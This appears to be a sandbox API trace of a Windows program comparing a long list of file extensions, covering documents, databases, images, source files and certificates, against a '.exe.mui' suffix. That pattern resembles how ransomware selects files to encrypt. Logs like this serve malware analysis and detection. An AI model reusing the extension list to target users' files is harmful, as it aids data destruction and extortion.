	[0153.402] lstrcmpiW (lpString1=".3ds", lpString2=".mui") returned -1
	[0153.402] lstrlenW (lpString=".3fr") returned 4
	[0153.402] lstrcmpiW (lpString1=".3fr", lpString2=".mui") returned -1
	[0153.402] lstrlenW (lpString=".3g2") returned 4
	[0153.402] lstrcmpiW (lpString1=".3g2", lpString2=".mui") returned -1
	[0153.402] lstrlenW (lpString=".3gp") returned 4
	[0153.402] lstrcmpiW (lpString1=".3gp", lpString2=".mui") returned -1
	[0153.402] lstrlenW (lpString=".7z") returned 3
	[0153.402] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0153.402] lstrlenW (lpString=".accda") returned 6
	[0153.402] lstrcmpiW (lpString1=".accda", lpString2="xe.mui") returned -1
	[0153.402] lstrlenW (lpString=".accdb") returned 6
	[0153.402] lstrcmpiW (lpString1=".accdb", lpString2="xe.mui") returned -1
	[0153.402] lstrlenW (lpString=".accdc") returned 6
	[0153.402] lstrcmpiW (lpString1=".accdc", lpString2="xe.mui") returned -1
	[0153.402] lstrlenW (lpString=".accde") returned 6
	[0153.402] lstrcmpiW (lpString1=".accde", lpString2="xe.mui") returned -1
	[0153.403] lstrlenW (lpString=".accdt") returned 6
	[0153.403] lstrcmpiW (lpString1=".accdt", lpString2="xe.mui") returned -1
	[0153.403] lstrlenW (lpString=".accdw") returned 6
	[0153.403] lstrcmpiW (lpString1=".accdw", lpString2="xe.mui") returned -1
	[0153.403] lstrlenW (lpString=".adb") returned 4
	[0153.403] lstrcmpiW (lpString1=".adb", lpString2=".mui") returned -1
	[0153.403] lstrlenW (lpString=".adp") returned 4
	[0153.403] lstrcmpiW (lpString1=".adp", lpString2=".mui") returned -1
	[0153.403] lstrlenW (lpString=".ai") returned 3
	[0153.403] lstrcmpiW (lpString1=".ai", lpString2="mui") returned -1
	[0153.403] lstrlenW (lpString=".ai3") returned 4
	[0153.403] lstrcmpiW (lpString1=".ai3", lpString2=".mui") returned -1
	[0153.403] lstrlenW (lpString=".ai4") returned 4
	[0153.403] lstrcmpiW (lpString1=".ai4", lpString2=".mui") returned -1
	[0153.403] lstrlenW (lpString=".ai5") returned 4
	[0153.403] lstrcmpiW (lpString1=".ai5", lpString2=".mui") returned -1
	[0153.403] lstrlenW (lpString=".ai6") returned 4
	[0153.403] lstrcmpiW (lpString1=".ai6", lpString2=".mui") returned -1
	[0153.403] lstrlenW (lpString=".ai7") returned 4
	[0153.403] lstrcmpiW (lpString1=".ai7", lpString2=".mui") returned -1
	[0153.403] lstrlenW (lpString=".ai8") returned 4
	[0153.403] lstrcmpiW (lpString1=".ai8", lpString2=".mui") returned -1
	[0153.403] lstrlenW (lpString=".anim") returned 5
	[0153.403] lstrcmpiW (lpString1=".anim", lpString2="e.mui") returned -1
	[0153.403] lstrlenW (lpString=".arw") returned 4
	[0153.403] lstrcmpiW (lpString1=".arw", lpString2=".mui") returned -1
	[0153.403] lstrlenW (lpString=".as") returned 3
	[0153.403] lstrcmpiW (lpString1=".as", lpString2="mui") returned -1
	[0153.403] lstrlenW (lpString=".asa") returned 4
	[0153.403] lstrcmpiW (lpString1=".asa", lpString2=".mui") returned -1
	[0153.403] lstrlenW (lpString=".asc") returned 4
	[0153.403] lstrcmpiW (lpString1=".asc", lpString2=".mui") returned -1
	[0153.403] lstrlenW (lpString=".ascx") returned 5
	[0153.403] lstrcmpiW (lpString1=".ascx", lpString2="e.mui") returned -1
	[0153.403] lstrlenW (lpString=".asm") returned 4
	[0153.403] lstrcmpiW (lpString1=".asm", lpString2=".mui") returned -1
	[0153.403] lstrlenW (lpString=".asmx") returned 5
	[0153.403] lstrcmpiW (lpString1=".asmx", lpString2="e.mui") returned -1
	[0153.404] lstrlenW (lpString=".asp") returned 4
	[0153.404] lstrcmpiW (lpString1=".asp", lpString2=".mui") returned -1
	[0153.404] lstrlenW (lpString=".aspx") returned 5
	[0153.404] lstrcmpiW (lpString1=".aspx", lpString2="e.mui") returned -1
	[0153.404] lstrlenW (lpString=".asr") returned 4
	[0153.404] lstrcmpiW (lpString1=".asr", lpString2=".mui") returned -1
	[0153.404] lstrlenW (lpString=".asx") returned 4
	[0153.404] lstrcmpiW (lpString1=".asx", lpString2=".mui") returned -1
	[0153.404] lstrlenW (lpString=".avi") returned 4
	[0153.404] lstrcmpiW (lpString1=".avi", lpString2=".mui") returned -1
	[0153.404] lstrlenW (lpString=".avs") returned 4
	[0153.404] lstrcmpiW (lpString1=".avs", lpString2=".mui") returned -1
	[0153.404] lstrlenW (lpString=".backup") returned 7
	[0153.404] lstrcmpiW (lpString1=".backup", lpString2="exe.mui") returned -1
	[0153.404] lstrlenW (lpString=".bak") returned 4
	[0153.404] lstrcmpiW (lpString1=".bak", lpString2=".mui") returned -1
	[0153.404] lstrlenW (lpString=".bay") returned 4
	[0153.404] lstrcmpiW (lpString1=".bay", lpString2=".mui") returned -1
	[0153.404] lstrlenW (lpString=".bd") returned 3
	[0153.404] lstrcmpiW (lpString1=".bd", lpString2="mui") returned -1
	[0153.404] lstrlenW (lpString=".bin") returned 4
	[0153.404] lstrcmpiW (lpString1=".bin", lpString2=".mui") returned -1
	[0153.404] lstrlenW (lpString=".bmp") returned 4
	[0153.404] lstrcmpiW (lpString1=".bmp", lpString2=".mui") returned -1
	[0153.404] lstrlenW (lpString=".bz2") returned 4
	[0153.404] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0153.404] lstrlenW (lpString=".c") returned 2
	[0153.404] lstrcmpiW (lpString1=".c", lpString2="ui") returned -1
	[0153.404] lstrlenW (lpString=".cdr") returned 4
	[0153.404] lstrcmpiW (lpString1=".cdr", lpString2=".mui") returned -1
	[0153.404] lstrlenW (lpString=".cer") returned 4
	[0153.404] lstrcmpiW (lpString1=".cer", lpString2=".mui") returned -1
	[0153.404] lstrlenW (lpString=".cf") returned 3
	[0153.404] lstrcmpiW (lpString1=".cf", lpString2="mui") returned -1
	[0153.404] lstrlenW (lpString=".cfc") returned 4
	[0153.404] lstrcmpiW (lpString1=".cfc", lpString2=".mui") returned -1
	[0153.404] lstrlenW (lpString=".cfm") returned 4
	[0153.404] lstrcmpiW (lpString1=".cfm", lpString2=".mui") returned -1
	[0153.404] lstrlenW (lpString=".cfml") returned 5
	[0153.405] lstrcmpiW (lpString1=".cfml", lpString2="e.mui") returned -1
	[0153.405] lstrlenW (lpString=".cfu") returned 4
	[0153.405] lstrcmpiW (lpString1=".cfu", lpString2=".mui") returned -1
	[0153.405] lstrlenW (lpString=".chm") returned 4
	[0153.405] lstrcmpiW (lpString1=".chm", lpString2=".mui") returned -1
	[0153.405] lstrlenW (lpString=".cin") returned 4
	[0153.405] lstrcmpiW (lpString1=".cin", lpString2=".mui") returned -1
	[0153.405] lstrlenW (lpString=".class") returned 6
	[0153.405] lstrcmpiW (lpString1=".class", lpString2="xe.mui") returned -1
	[0153.405] lstrlenW (lpString=".clx") returned 4
	[0153.405] lstrcmpiW (lpString1=".clx", lpString2=".mui") returned -1
	[0153.405] lstrlenW (lpString=".config") returned 7
	[0153.405] lstrcmpiW (lpString1=".config", lpString2="exe.mui") returned -1
	[0153.405] lstrlenW (lpString=".cpp") returned 4
	[0153.405] lstrcmpiW (lpString1=".cpp", lpString2=".mui") returned -1
	[0153.405] lstrlenW (lpString=".cr2") returned 4
	[0153.405] lstrcmpiW (lpString1=".cr2", lpString2=".mui") returned -1
	[0153.405] lstrlenW (lpString=".crt") returned 4
	[0153.405] lstrcmpiW (lpString1=".crt", lpString2=".mui") returned -1
	[0153.405] lstrlenW (lpString=".crw") returned 4
	[0153.405] lstrcmpiW (lpString1=".crw", lpString2=".mui") returned -1
	[0153.405] lstrlenW (lpString=".cs") returned 3
	[0153.405] lstrcmpiW (lpString1=".cs", lpString2="mui") returned -1
	[0153.405] lstrlenW (lpString=".css") returned 4
	[0153.405] lstrcmpiW (lpString1=".css", lpString2=".mui") returned -1
	[0153.405] lstrlenW (lpString=".csv") returned 4
	[0153.405] lstrcmpiW (lpString1=".csv", lpString2=".mui") returned -1
	[0153.405] lstrlenW (lpString=".cub") returned 4
	[0153.405] lstrcmpiW (lpString1=".cub", lpString2=".mui") returned -1
	[0153.405] lstrlenW (lpString=".dae") returned 4
	[0153.405] lstrcmpiW (lpString1=".dae", lpString2=".mui") returned -1
	[0153.405] lstrlenW (lpString=".dat") returned 4
	[0153.405] lstrcmpiW (lpString1=".dat", lpString2=".mui") returned -1
	[0153.405] lstrlenW (lpString=".db") returned 3
	[0153.405] lstrcmpiW (lpString1=".db", lpString2="mui") returned -1
	[0153.405] lstrlenW (lpString=".dbf") returned 4
	[0153.405] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0153.405] lstrlenW (lpString=".dbx") returned 4
	[0153.406] lstrcmpiW (lpString1=".dbx", lpString2=".mui") returned -1
	[0153.406] lstrlenW (lpString=".dc3") returned 4
	[0153.406] lstrcmpiW (lpString1=".dc3", lpString2=".mui") returned -1
	[0153.406] lstrlenW (lpString=".dcm") returned 4
	[0153.406] lstrcmpiW (lpString1=".dcm", lpString2=".mui") returned -1
	[0153.406] lstrlenW (lpString=".dcr") returned 4
	[0153.406] lstrcmpiW (lpString1=".dcr", lpString2=".mui") returned -1
	[0153.406] lstrlenW (lpString=".der") returned 4
	[0153.406] lstrcmpiW (lpString1=".der", lpString2=".mui") returned -1
	[0153.406] lstrlenW (lpString=".dib") returned 4
	[0153.406] lstrcmpiW (lpString1=".dib", lpString2=".mui") returned -1
	[0153.406] lstrlenW (lpString=".dic") returned 4
	[0153.406] lstrcmpiW (lpString1=".dic", lpString2=".mui") returned -1
	[0153.406] lstrlenW (lpString=".dif") returned 4
	[0153.406] lstrcmpiW (lpString1=".dif", lpString2=".mui") returned -1
	[0153.406] lstrlenW (lpString=".divx") returned 5
	[0153.406] lstrcmpiW (lpString1=".divx", lpString2="e.mui") returned -1
	[0153.406] lstrlenW (lpString=".djvu") returned 5
	[0153.406] lstrcmpiW (lpString1=".djvu", lpString2="e.mui") returned -1
	[0153.406] lstrlenW (lpString=".dng") returned 4
	[0153.406] lstrcmpiW (lpString1=".dng", lpString2=".mui") returned -1
	[0153.406] lstrlenW (lpString=".doc") returned 4
	[0153.406] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0153.406] lstrlenW (lpString=".docm") returned 5
	[0153.406] lstrcmpiW (lpString1=".docm", lpString2="e.mui") returned -1
	[0153.406] lstrlenW (lpString=".docx") returned 5
	[0153.406] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0153.406] lstrlenW (lpString=".dot") returned 4
	[0153.406] lstrcmpiW (lpString1=".dot", lpString2=".mui") returned -1
	[0153.406] lstrlenW (lpString=".dotm") returned 5
	[0153.406] lstrcmpiW (lpString1=".dotm", lpString2="e.mui") returned -1
	[0153.406] lstrlenW (lpString=".dotx") returned 5
	[0153.406] lstrcmpiW (lpString1=".dotx", lpString2="e.mui") returned -1
	[0153.406] lstrlenW (lpString=".dpx") returned 4
	[0153.406] lstrcmpiW (lpString1=".dpx", lpString2=".mui") returned -1
	[0153.406] lstrlenW (lpString=".dqy") returned 4
	[0153.406] lstrcmpiW (lpString1=".dqy", lpString2=".mui") returned -1
	[0153.406] lstrlenW (lpString=".dsn") returned 4
	[0153.407] lstrcmpiW (lpString1=".dsn", lpString2=".mui") returned -1
	[0153.407] lstrlenW (lpString=".dt") returned 3
	[0153.407] lstrcmpiW (lpString1=".dt", lpString2="mui") returned -1
	[0153.407] lstrlenW (lpString=".dtd") returned 4
	[0153.407] lstrcmpiW (lpString1=".dtd", lpString2=".mui") returned -1
	[0153.407] lstrlenW (lpString=".dwg") returned 4
	[0153.407] lstrcmpiW (lpString1=".dwg", lpString2=".mui") returned -1
	[0153.407] lstrlenW (lpString=".dwt") returned 4
	[0153.407] lstrcmpiW (lpString1=".dwt", lpString2=".mui") returned -1
	[0153.407] lstrlenW (lpString=".dx") returned 3
	[0153.407] lstrcmpiW (lpString1=".dx", lpString2="mui") returned -1
	[0153.407] lstrlenW (lpString=".dxf") returned 4
	[0153.407] lstrcmpiW (lpString1=".dxf", lpString2=".mui") returned -1
	[0153.407] lstrlenW (lpString=".edml") returned 5
	[0153.407] lstrcmpiW (lpString1=".edml", lpString2="e.mui") returned -1
	[0153.407] lstrlenW (lpString=".efd") returned 4
	[0153.407] lstrcmpiW (lpString1=".efd", lpString2=".mui") returned -1
	[0153.407] lstrlenW (lpString=".elf") returned 4
	[0153.407] lstrcmpiW (lpString1=".elf", lpString2=".mui") returned -1
	[0153.407] lstrlenW (lpString=".emf") returned 4
	[0153.407] lstrcmpiW (lpString1=".emf", lpString2=".mui") returned -1
	[0153.407] lstrlenW (lpString=".emz") returned 4
	[0153.407] lstrcmpiW (lpString1=".emz", lpString2=".mui") returned -1
	[0153.407] lstrlenW (lpString=".epf") returned 4
	[0153.407] lstrcmpiW (lpString1=".epf", lpString2=".mui") returned -1
	[0153.407] lstrlenW (lpString=".eps") returned 4
	[0153.407] lstrcmpiW (lpString1=".eps", lpString2=".mui") returned -1
	[0153.407] lstrlenW (lpString=".epsf") returned 5
	[0153.407] lstrcmpiW (lpString1=".epsf", lpString2="e.mui") returned -1
	[0153.407] lstrlenW (lpString=".epsp") returned 5
	[0153.407] lstrcmpiW (lpString1=".epsp", lpString2="e.mui") returned -1
	[0153.407] lstrlenW (lpString=".erf") returned 4
	[0153.407] lstrcmpiW (lpString1=".erf", lpString2=".mui") returned -1
	[0153.407] lstrlenW (lpString=".exr") returned 4
	[0153.407] lstrcmpiW (lpString1=".exr", lpString2=".mui") returned -1
	[0153.407] lstrlenW (lpString=".f4v") returned 4
	[0153.407] lstrcmpiW (lpString1=".f4v", lpString2=".mui") returned -1
	[0153.407] lstrlenW (lpString=".fido") returned 5
	[0153.408] lstrcmpiW (lpString1=".fido", lpString2="e.mui") returned -1
	[0153.408] lstrlenW (lpString=".flm") returned 4
	[0153.408] lstrcmpiW (lpString1=".flm", lpString2=".mui") returned -1
	[0153.408] lstrlenW (lpString=".flv") returned 4
	[0153.408] lstrcmpiW (lpString1=".flv", lpString2=".mui") returned -1
	[0153.408] lstrlenW (lpString=".frm") returned 4
	[0153.408] lstrcmpiW (lpString1=".frm", lpString2=".mui") returned -1
	[0153.408] lstrlenW (lpString=".fxg") returned 4
	[0153.408] lstrcmpiW (lpString1=".fxg", lpString2=".mui") returned -1
	[0153.408] lstrlenW (lpString=".geo") returned 4
	[0153.408] lstrcmpiW (lpString1=".geo", lpString2=".mui") returned -1
	[0153.408] lstrlenW (lpString=".gif") returned 4
	[0153.408] lstrcmpiW (lpString1=".gif", lpString2=".mui") returned -1
	[0153.408] lstrlenW (lpString=".grs") returned 4
	[0153.408] lstrcmpiW (lpString1=".grs", lpString2=".mui") returned -1
	[0153.408] lstrlenW (lpString=".gz") returned 3
	[0153.408] lstrcmpiW (lpString1=".gz", lpString2="mui") returned -1
	[0153.408] lstrlenW (lpString=".h") returned 2
	[0153.408] lstrcmpiW (lpString1=".h", lpString2="ui") returned -1
	[0153.408] lstrlenW (lpString=".hdr") returned 4
	[0153.408] lstrcmpiW (lpString1=".hdr", lpString2=".mui") returned -1
	[0153.408] lstrlenW (lpString=".hpp") returned 4
	[0153.408] lstrcmpiW (lpString1=".hpp", lpString2=".mui") returned -1
	[0153.408] lstrlenW (lpString=".hta") returned 4
	[0153.408] lstrcmpiW (lpString1=".hta", lpString2=".mui") returned -1
	[0153.408] lstrlenW (lpString=".htc") returned 4
	[0153.408] lstrcmpiW (lpString1=".htc", lpString2=".mui") returned -1
	[0153.408] lstrlenW (lpString=".htm") returned 4
	[0153.408] lstrcmpiW (lpString1=".htm", lpString2=".mui") returned -1
	[0153.408] lstrlenW (lpString=".html") returned 5
	[0153.408] lstrcmpiW (lpString1=".html", lpString2="e.mui") returned -1
	[0153.408] lstrlenW (lpString=".icb") returned 4
	[0153.408] lstrcmpiW (lpString1=".icb", lpString2=".mui") returned -1
	[0153.408] lstrlenW (lpString=".ics") returned 4
	[0153.408] lstrcmpiW (lpString1=".ics", lpString2=".mui") returned -1
	[0153.408] lstrlenW (lpString=".iff") returned 4
	[0153.408] lstrcmpiW (lpString1=".iff", lpString2=".mui") returned -1
	[0153.408] lstrlenW (lpString=".inc") returned 4
	[0153.408] lstrcmpiW (lpString1=".inc", lpString2=".mui") returned -1
	[0153.409] lstrlenW (lpString=".indd") returned 5
	[0153.409] lstrcmpiW (lpString1=".indd", lpString2="e.mui") returned -1
	[0153.409] lstrlenW (lpString=".ini") returned 4
	[0153.409] lstrcmpiW (lpString1=".ini", lpString2=".mui") returned -1
	[0153.409] lstrlenW (lpString=".iqy") returned 4
	[0153.409] lstrcmpiW (lpString1=".iqy", lpString2=".mui") returned -1
	[0153.409] lstrlenW (lpString=".j2c") returned 4
	[0153.409] lstrcmpiW (lpString1=".j2c", lpString2=".mui") returned -1
	[0153.409] lstrlenW (lpString=".j2k") returned 4
	[0153.409] lstrcmpiW (lpString1=".j2k", lpString2=".mui") returned -1
	[0153.409] lstrlenW (lpString=".java") returned 5
	[0153.409] lstrcmpiW (lpString1=".java", lpString2="e.mui") returned -1
	[0153.409] lstrlenW (lpString=".jp2") returned 4
	[0153.409] lstrcmpiW (lpString1=".jp2", lpString2=".mui") returned -1
	[0153.409] lstrlenW (lpString=".jpc") returned 4
	[0153.409] lstrcmpiW (lpString1=".jpc", lpString2=".mui") returned -1
	[0153.409] lstrlenW (lpString=".jpe") returned 4
	[0153.409] lstrcmpiW (lpString1=".jpe", lpString2=".mui") returned -1
	[0153.409] lstrlenW (lpString=".jpeg") returned 5
	[0153.409] lstrcmpiW (lpString1=".jpeg", lpString2="e.mui") returned -1
	[0153.409] lstrlenW (lpString=".jpf") returned 4
	[0153.409] lstrcmpiW (lpString1=".jpf", lpString2=".mui") returned -1
	[0153.409] lstrlenW (lpString=".jpg") returned 4
	[0153.409] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0153.409] lstrlenW (lpString=".jpx") returned 4
	[0153.409] lstrcmpiW (lpString1=".jpx", lpString2=".mui") returned -1
	[0153.409] lstrlenW (lpString=".js") returned 3
	[0153.409] lstrcmpiW (lpString1=".js", lpString2="mui") returned -1
	[0153.409] lstrlenW (lpString=".jsf") returned 4
	[0153.409] lstrcmpiW (lpString1=".jsf", lpString2=".mui") returned -1
	[0153.409] lstrlenW (lpString=".json") returned 5
	[0153.409] lstrcmpiW (lpString1=".json", lpString2="e.mui") returned -1
	[0153.409] lstrlenW (lpString=".jsp") returned 4
	[0153.409] lstrcmpiW (lpString1=".jsp", lpString2=".mui") returned -1
	[0153.409] lstrlenW (lpString=".kdc") returned 4
	[0153.409] lstrcmpiW (lpString1=".kdc", lpString2=".mui") returned -1
	[0153.409] lstrlenW (lpString=".kmz") returned 4
	[0153.409] lstrcmpiW (lpString1=".kmz", lpString2=".mui") returned -1
	[0153.409] lstrlenW (lpString=".kwm") returned 4
	[0153.410] lstrcmpiW (lpString1=".kwm", lpString2=".mui") returned -1
	[0153.410] lstrlenW (lpString=".lasso") returned 6
	[0153.410] lstrcmpiW (lpString1=".lasso", lpString2="xe.mui") returned -1
	[0153.410] lstrlenW (lpString=".lbi") returned 4
	[0153.410] lstrcmpiW (lpString1=".lbi", lpString2=".mui") returned -1
	[0153.410] lstrlenW (lpString=".lgf") returned 4
	[0153.410] lstrcmpiW (lpString1=".lgf", lpString2=".mui") returned -1
	[0153.410] lstrlenW (lpString=".lgp") returned 4
	[0153.410] lstrcmpiW (lpString1=".lgp", lpString2=".mui") returned -1
	[0153.410] lstrlenW (lpString=".log") returned 4
	[0153.637] lstrcmpiW (lpString1=".log", lpString2=".mui") returned -1
	[0153.637] lstrlenW (lpString=".m1v") returned 4
	[0153.642] lstrcmpiW (lpString1=".m1v", lpString2=".mui") returned -1
	[0153.642] lstrlenW (lpString=".m4a") returned 4
	[0153.642] lstrcmpiW (lpString1=".m4a", lpString2=".mui") returned -1
	[0153.642] lstrlenW (lpString=".m4v") returned 4
	[0153.642] lstrcmpiW (lpString1=".m4v", lpString2=".mui") returned -1
	[0153.642] lstrlenW (lpString=".max") returned 4
	[0153.642] lstrcmpiW (lpString1=".max", lpString2=".mui") returned -1
	[0153.642] lstrlenW (lpString=".md") returned 3
	[0153.642] lstrcmpiW (lpString1=".md", lpString2="mui") returned -1
	[0153.642] lstrlenW (lpString=".mda") returned 4
	[0153.642] lstrcmpiW (lpString1=".mda", lpString2=".mui") returned -1
	[0153.642] lstrlenW (lpString=".mdb") returned 4
	[0153.643] lstrcmpiW (lpString1=".mdb", lpString2=".mui") returned -1
	[0153.643] lstrlenW (lpString=".mde") returned 4
	[0153.643] lstrcmpiW (lpString1=".mde", lpString2=".mui") returned -1
	[0153.643] lstrlenW (lpString=".mdf") returned 4
	[0153.643] lstrcmpiW (lpString1=".mdf", lpString2=".mui") returned -1
	[0153.643] lstrlenW (lpString=".mdw") returned 4
	[0153.643] lstrcmpiW (lpString1=".mdw", lpString2=".mui") returned -1
	[0153.643] lstrlenW (lpString=".mef") returned 4
	[0153.643] lstrcmpiW (lpString1=".mef", lpString2=".mui") returned -1
	[0153.643] lstrlenW (lpString=".mft") returned 4
	[0153.643] lstrcmpiW (lpString1=".mft", lpString2=".mui") returned -1
	[0153.643] lstrlenW (lpString=".mfw") returned 4
	[0153.643] lstrcmpiW (lpString1=".mfw", lpString2=".mui") returned -1
	[0153.643] lstrlenW (lpString=".mht") returned 4
	[0153.643] lstrcmpiW (lpString1=".mht", lpString2=".mui") returned -1
	[0153.643] lstrlenW (lpString=".mhtml") returned 6
	[0153.643] lstrcmpiW (lpString1=".mhtml", lpString2="xe.mui") returned -1
	[0153.643] lstrlenW (lpString=".mka") returned 4
	[0153.643] lstrcmpiW (lpString1=".mka", lpString2=".mui") returned -1
	[0153.643] lstrlenW (lpString=".mkidx") returned 6
	[0153.643] lstrcmpiW (lpString1=".mkidx", lpString2="xe.mui") returned -1
	[0153.643] lstrlenW (lpString=".mkv") returned 4
	[0153.643] lstrcmpiW (lpString1=".mkv", lpString2=".mui") returned -1
	[0153.643] lstrlenW (lpString=".mos") returned 4
	[0153.643] lstrcmpiW (lpString1=".mos", lpString2=".mui") returned -1
	[0153.643] lstrlenW (lpString=".mov") returned 4
	[0153.643] lstrcmpiW (lpString1=".mov", lpString2=".mui") returned -1
	[0153.643] lstrlenW (lpString=".mp3") returned 4
	[0153.643] lstrcmpiW (lpString1=".mp3", lpString2=".mui") returned -1
	[0153.643] lstrlenW (lpString=".mp4") returned 4
	[0153.643] lstrcmpiW (lpString1=".mp4", lpString2=".mui") returned -1
	[0153.643] lstrlenW (lpString=".mpeg") returned 5
	[0153.643] lstrcmpiW (lpString1=".mpeg", lpString2="e.mui") returned -1
	[0153.643] lstrlenW (lpString=".mpg") returned 4
	[0153.643] lstrcmpiW (lpString1=".mpg", lpString2=".mui") returned -1
	[0153.643] lstrlenW (lpString=".mpv") returned 4
	[0153.643] lstrcmpiW (lpString1=".mpv", lpString2=".mui") returned -1
	[0153.643] lstrlenW (lpString=".mrw") returned 4
	[0153.643] lstrcmpiW (lpString1=".mrw", lpString2=".mui") returned -1
	[0153.644] lstrlenW (lpString=".msg") returned 4
	[0153.644] lstrcmpiW (lpString1=".msg", lpString2=".mui") returned -1
	[0153.644] lstrlenW (lpString=".mxl") returned 4
	[0153.644] lstrcmpiW (lpString1=".mxl", lpString2=".mui") returned 1
	[0153.644] lstrlenW (lpString=".myd") returned 4
	[0153.644] lstrcmpiW (lpString1=".myd", lpString2=".mui") returned 1
	[0153.644] lstrlenW (lpString=".myi") returned 4
	[0153.644] lstrcmpiW (lpString1=".myi", lpString2=".mui") returned 1
	[0153.644] lstrlenW (lpString=".nef") returned 4
	[0153.644] lstrcmpiW (lpString1=".nef", lpString2=".mui") returned 1
	[0153.644] lstrlenW (lpString=".nrw") returned 4
	[0153.644] lstrcmpiW (lpString1=".nrw", lpString2=".mui") returned 1
	[0153.644] lstrlenW (lpString=".obj") returned 4
	[0153.644] lstrcmpiW (lpString1=".obj", lpString2=".mui") returned 1
	[0153.644] lstrlenW (lpString=".odb") returned 4
	[0153.644] lstrcmpiW (lpString1=".odb", lpString2=".mui") returned 1
	[0153.644] lstrlenW (lpString=".odc") returned 4
	[0153.644] lstrcmpiW (lpString1=".odc", lpString2=".mui") returned 1
	[0153.644] lstrlenW (lpString=".odm") returned 4
	[0153.644] lstrcmpiW (lpString1=".odm", lpString2=".mui") returned 1
	[0153.644] lstrlenW (lpString=".odp") returned 4
	[0153.644] lstrcmpiW (lpString1=".odp", lpString2=".mui") returned 1
	[0153.644] lstrlenW (lpString=".ods") returned 4
	[0153.644] lstrcmpiW (lpString1=".ods", lpString2=".mui") returned 1
	[0153.644] lstrlenW (lpString=".oft") returned 4
	[0153.644] lstrcmpiW (lpString1=".oft", lpString2=".mui") returned 1
	[0153.644] lstrlenW (lpString=".one") returned 4
	[0153.644] lstrcmpiW (lpString1=".one", lpString2=".mui") returned 1
	[0153.644] lstrlenW (lpString=".onepkg") returned 7
	[0153.644] lstrcmpiW (lpString1=".onepkg", lpString2="exe.mui") returned -1
	[0153.644] lstrlenW (lpString=".onetoc2") returned 8
	[0153.644] lstrcmpiW (lpString1=".onetoc2", lpString2=".exe.mui") returned 1
	[0153.644] lstrlenW (lpString=".opt") returned 4
	[0153.644] lstrcmpiW (lpString1=".opt", lpString2=".mui") returned 1
	[0153.644] lstrlenW (lpString=".oqy") returned 4
	[0153.645] lstrcmpiW (lpString1=".oqy", lpString2=".mui") returned 1
	[0153.645] lstrlenW (lpString=".orf") returned 4
	[0153.645] lstrcmpiW (lpString1=".orf", lpString2=".mui") returned 1
	[0153.645] lstrlenW (lpString=".p12") returned 4
	[0153.645] lstrcmpiW (lpString1=".p12", lpString2=".mui") returned 1
	[0153.645] lstrlenW (lpString=".p7b") returned 4
	[0153.645] lstrcmpiW (lpString1=".p7b", lpString2=".mui") returned 1
	[0153.645] lstrlenW (lpString=".p7c") returned 4
	[0153.645] lstrcmpiW (lpString1=".p7c", lpString2=".mui") returned 1
	[0153.645] lstrlenW (lpString=".pam") returned 4
	[0153.645] lstrcmpiW (lpString1=".pam", lpString2=".mui") returned 1
	[0153.645] lstrlenW (lpString=".pbm") returned 4
	[0153.645] lstrcmpiW (lpString1=".pbm", lpString2=".mui") returned 1
	[0153.645] lstrlenW (lpString=".pct") returned 4
	[0153.645] lstrcmpiW (lpString1=".pct", lpString2=".mui") returned 1
	[0153.645] lstrlenW (lpString=".pcx") returned 4
	[0153.645] lstrcmpiW (lpString1=".pcx", lpString2=".mui") returned 1
	[0153.645] lstrlenW (lpString=".pdd") returned 4
	[0153.645] lstrcmpiW (lpString1=".pdd", lpString2=".mui") returned 1
	[0153.645] lstrlenW (lpString=".pdf") returned 4
	[0153.645] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0153.645] lstrlenW (lpString=".pdp") returned 4
	[0153.645] lstrcmpiW (lpString1=".pdp", lpString2=".mui") returned 1
	[0153.645] lstrlenW (lpString=".pef") returned 4
	[0153.645] lstrcmpiW (lpString1=".pef", lpString2=".mui") returned 1
	[0153.645] lstrlenW (lpString=".pem") returned 4
	[0153.645] lstrcmpiW (lpString1=".pem", lpString2=".mui") returned 1
	[0153.645] lstrlenW (lpString=".pff") returned 4
	[0153.645] lstrcmpiW (lpString1=".pff", lpString2=".mui") returned 1
	[0153.645] lstrlenW (lpString=".pfm") returned 4
	[0153.645] lstrcmpiW (lpString1=".pfm", lpString2=".mui") returned 1
	[0153.645] lstrlenW (lpString=".pfx") returned 4
	[0153.645] lstrcmpiW (lpString1=".pfx", lpString2=".mui") returned 1
	[0153.645] lstrlenW (lpString=".pgm") returned 4
	[0153.645] lstrcmpiW (lpString1=".pgm", lpString2=".mui") returned 1
	[0153.645] lstrlenW (lpString=".php") returned 4
	[0153.645] lstrcmpiW (lpString1=".php", lpString2=".mui") returned 1
	[0153.645] lstrlenW (lpString=".php3") returned 5
	[0153.645] lstrcmpiW (lpString1=".php3", lpString2="e.mui") returned -1
	[0153.646] lstrlenW (lpString=".php4") returned 5
	[0153.646] lstrcmpiW (lpString1=".php4", lpString2="e.mui") returned -1
	[0153.646] lstrlenW (lpString=".php5") returned 5
	[0153.646] lstrcmpiW (lpString1=".php5", lpString2="e.mui") returned -1
	[0153.646] lstrlenW (lpString=".phtml") returned 6
	[0153.646] lstrcmpiW (lpString1=".phtml", lpString2="xe.mui") returned -1
	[0153.646] lstrlenW (lpString=".pict") returned 5
	[0153.646] lstrcmpiW (lpString1=".pict", lpString2="e.mui") returned -1
	[0153.646] lstrlenW (lpString=".pl") returned 3
	[0153.646] lstrcmpiW (lpString1=".pl", lpString2="mui") returned -1
	[0153.646] lstrlenW (lpString=".pls") returned 4
	[0153.646] lstrcmpiW (lpString1=".pls", lpString2=".mui") returned 1
	[0153.646] lstrlenW (lpString=".pm") returned 3
	[0153.646] lstrcmpiW (lpString1=".pm", lpString2="mui") returned -1
	[0153.646] lstrlenW (lpString=".png") returned 4
	[0153.646] lstrcmpiW (lpString1=".png", lpString2=".mui") returned 1
	[0153.646] lstrlenW (lpString=".pnm") returned 4
	[0153.646] lstrcmpiW (lpString1=".pnm", lpString2=".mui") returned 1
	[0153.646] lstrlenW (lpString=".pot") returned 4
	[0153.646] lstrcmpiW (lpString1=".pot", lpString2=".mui") returned 1
	[0153.646] lstrlenW (lpString=".potm") returned 5
	[0153.646] lstrcmpiW (lpString1=".potm", lpString2="e.mui") returned -1
	[0153.646] lstrlenW (lpString=".potx") returned 5
	[0153.646] lstrcmpiW (lpString1=".potx", lpString2="e.mui") returned -1
